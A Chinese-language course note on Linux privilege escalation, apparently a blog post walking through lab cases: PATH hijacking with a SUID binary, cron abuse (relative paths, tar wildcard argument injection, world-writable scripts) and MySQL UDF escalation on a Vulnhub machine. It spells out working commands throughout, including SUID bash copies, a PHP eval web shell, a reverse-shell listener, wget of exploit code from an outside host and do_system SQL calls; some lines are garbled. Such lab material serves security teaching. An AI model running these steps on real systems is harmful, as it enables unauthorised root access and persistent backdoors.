64:权限提升-Linux定时任务&环境变量&数据库

64:权限提升-Linux定时任务&环境变量&数据库

 

本课重点

  • 案例1:linux提权本地环境变量安全-Aliyun-鸡肋
  • 案例2:linux提权本地定时任务安全-Aliyun
  • 案例3:linux提权第三方服务数据库-Vulnhub
  • 案例4:linux提权提升简单总结归类

案例1:linux提权本地环境变量安全-Aliyun-鸡肋

这个提权方法比较鸡肋,因为它需要两个前提条件:

  • 1.需要复制suid权限 ==》类似具有suid的find命令,提权原理也类似find
  • 2.设置环境变量需要有本地用户权限,web权限设置不了

过程:手写调用文件-编译-复制文件-增加环境变量-执行触发

1
2
3
4
5
6
gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
chmod u+s shell
./shell
id

<1>首先id查看一下当前登录用户权限,是本地普通用户。

 

<2>将demo.c上传到/home/普通用户名/script/目录下,编译:gcc demo.c -o shell。demo.c就是通过system执行ps命令。

 

<3>复制文件。cp /bin/sh /tmp/ps,把/bin/sh复制给/tmp/ps,ps命令本来是用于显示当前进程的状态,复制后执行./ps就变成了执行sh命令。

<4>增加环境变量。export PATH=/tmp:$PATH,环境变量里新增/tmp目录,此时执行ps命令就相当于直接执行sh命令了。

<5>执行触发。chmod u+s shell(鸡肋的原因也在这里),./shell执行触发demo.c里面的ps命令,成功提权。$变成#

案例2:linux提权本地定时任务安全-Aliyun

第一种:路径问题导致提权

原理:利用计划任务指向的文件的相对路径解析问题

1
2
3
4
cat /etc/crontab
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash

<1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个test.sh任务没有写绝对路径,而且是以root权限运行的。

定时任务中的test.sh没有写绝对路径,但我们知道它默认就是调用/usr/local/bin目录下test.sh。(我们自己写来测试用的)

打开看一下,发现此定时任务是每隔一分钟将系统日期写入/tmp/time.log。

等1分钟,发现确实/tmp目录下生成了time.log,内容是当前时间。

<2>那我们该如何利用这个定时任务提权呢?方法就是在用户目录下写入一个与test.sh同名的文件,执行,此时定时任务以root身份调用的就是我们写的 /home/xiaodi/test.sh,而不是系统原来的/usr/local/bin/test.sh,从而提权。但是测试发现并没有提权成功,原因不知道为啥。

1
2
3
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash

==》补充:出错原因是操作有问题。

漏洞介绍

Crontab通常以root权限运行。如果可以成功篡改在定时任务执行的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。漏洞利用

假如root用户配置不当,在/etc/crontab文件创建了一个计划任务。

 

 

意为每分钟执行test.sh文件并输出到/tmp/test.txt文件。
下载 pspy工具 到目标环境。
该工具无需root权限即可监听进程。

 

 

 

监听发现该指令以root权限运行。
查看该test.sh文件以cseroad用户身份运行。

 

我们可以通过覆盖test.sh文件提升为root权限。

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> test.sh

2 分钟后,tmp目录下会创建出SUID权限的bash。

 

/tmp/bash -p 即可获取root权限

 

链接:https://www.jianshu.com/p/039cc25c03dd

 

第二种:命令问题导致提权

原理:利用通配符配合命令参数自定义命令实现提权

提权命令

1
2
3
4
5
6
7
cat /etc/crontab
cd /home/undead/script;tar czf /tmp/backup.tar.gz *
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' /home/undead/script/test.sh
echo "" "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
./bash -p
id

不安全定时任务备份命令:

  • 参考命令:https://www.cnblogs.com/manong--/p/8012324.html

<1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个名为backup.sh的备份定时任务,而且是以root权限运行的。

定时任务每分钟执行一次,打开backup.sh,发现是将 /home/undead/script目录下的所有文件打包为backup.tar.gz,并放到/tmp目录下。

<2>使用以下命令,在/home/undead/script目录下创建3个文件

1
2
3
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' /home/undead/script/test.sh
echo "" "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1

<3>等待一分钟,系统定时任务执行,打包,打开/tmp目录查看,发现test.sh等文件打包为一个backup.tar.gz文件,但我们刚才创建的另外两个文件并未在backup.tar.gz中,而是另外生成了一个bash文件。

这是为什么呢?原因是定时任务打包时使用了*将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给*执行打包操作。前几个文件都没问题,但是当打包到--checkpoint=1文件和--checkpoint-action=exec=sh test.sh文件时,执行的相当于

1
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

而 --checkpoint、--checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把--checkpoint=1和--checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。--checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的。

<4>提权利用。成功提权。

类似tar提权的命令还有chown、chmod、rsync等,大家可以自己研究一下。

第三种:权限问题导致提权

原理:利用不安全的权限分配操作导致的定时文件覆盖

原理解读:管理员正常创建一个文件test.sh时,默认是没有执行权限的,此时管理员若想执行这文件,必须给它赋执行权限,正常的赋权命令是chmod +x test.sh,这样就可以执行test.sh并且组和其他成员无法修改覆盖这个文件(即写权限),但是粗心的管理员会直接chmod 777 test.sh,这样虽然也可以实现执行test.sh的目的,但是会导致权限扩大,即组和其他成员都可以对文件修改覆盖,造成风险。

案例演示

<1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个名为check.sh的定时任务,而且是以root权限运行的。

<2>测试check.sh文件是否有权限问题。可以以普通用户身份直接修改check.sh文件,如果能修改成功,说明存在权限问题,也可以直接执行ls -l check.sh,查看check.sh的权限,如果是-rwxrwxrwx,说明存在权限问题。只要存在权限问题,就可利用提权。

<3>提权利用。可以模仿上述方法,直接写入命令到定时任务check.sh,从而成功提权。

  • 首先,vim命令打开check.sh文件,写入:cp bin/bash /tmp/bash; chmod +s /tmp/bash
  • 然后,等待定时任务执行后,执行/tmp/bash,提权成功。

案例3:linux提权第三方服务数据库MYSQL_UDF-Vulnhub

Vulnhub某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用Mysql提权Linux(Mysql版本区别同windows)

<1>探针IP及端口。直接探针当前自己机器IP所在网段,因为靶机就在同一网段。这里我们使用的忍者系统。

1
nmap 192.168.76.0/24

通过扫描找到了目标主机以及对应的web服务。

扫描目录,发现一个目录遍历漏洞,打开网站目录,发现使用了phpmailer。

<2>利用phpmailer漏洞进行修改并反弹。

(1)下载exp,修改配置(目标地址、后门等)

(2)本地监听端口

1
nc -lvvp 4444

(3)执行exp

1
python D:/Myproject/40974.py

(4)成功反弹shell

(5)也可以打开xiaodi.php,拿到shell权限。

<3>写入后门利用菜刀连接方便操作

1
echo '<?php eval($_POST[x];?)>' > 1.php

<4>上传信息收集脚本进行提权信息收集

1
./LinEnum.sh

检测到系统装有第三方服务——mysql数据库,版本为5.5.60

<5>翻阅数据库配置文件获取root密码

1
cat wp-config.php

<6>利用Mysql提权 searchspolit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(1)下载mysql udf poc进行编译(目标服务器可能没有gcc,所以最好在本机进行编译再上传)
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
 
(2)下载1518到目标服务器
wget https://xx.xx.xx.xx/1518.so
 
(3)进入数据库进行UDF导出(root连接)
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
 
(4)创建do_system函数调用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

<7>配合使用find调用执行

1
2
3
4
touch xiaodi
find xiaodi -exec "whoami" \;
find xiaodi -exec "/bin/sh" \;
id

案例4:linux提权提升简单总结归类-参考PDF

1、提权环境,信息收集(主要关注:SUID,定时任务,可能漏洞,第三方服务应用等)

2、最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)

  • 信息收集脚本比如linux-exploit-suggester.sh并不能实时更新,因此一些最新漏洞就无法收录,此时可以自己二次开发,放入最新漏洞。

3、本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)

  • searchsploit
    • (1)下载:https://github.com/offensive-security/exploitdb
    • (2)忍者系统集成,比如可以直接在忍者系统命令行searchsploit mysql搜索mysql相关漏洞,如图4.3
  • 最新漏洞官网在线搜索:https://www.exploit-db.com
    • 这个漏洞库是国外的,收录的漏洞也是一些国际上用的比较多的软件,如果想要查找一些国内小众cms之类的漏洞,可以去国内的漏洞库查看。

4、其他提权方法,如:

  • 密码复用(主要靠运气,看弱密码)
  • guid提权(与suid提权同理,只是搜索语句不同,如图4.4)
  • sudo提权(很鸡肋,没鸟用)
    • sudo说明参考:CVE-2019-14287:sudo权限绕过漏洞分析与复现(https://www.freebuf.com/vuls/217089.html)

图4.3

图4.4

 

posted @ 2022-02-06 21:06  bonelee  阅读(265)  评论(0编辑  收藏  举报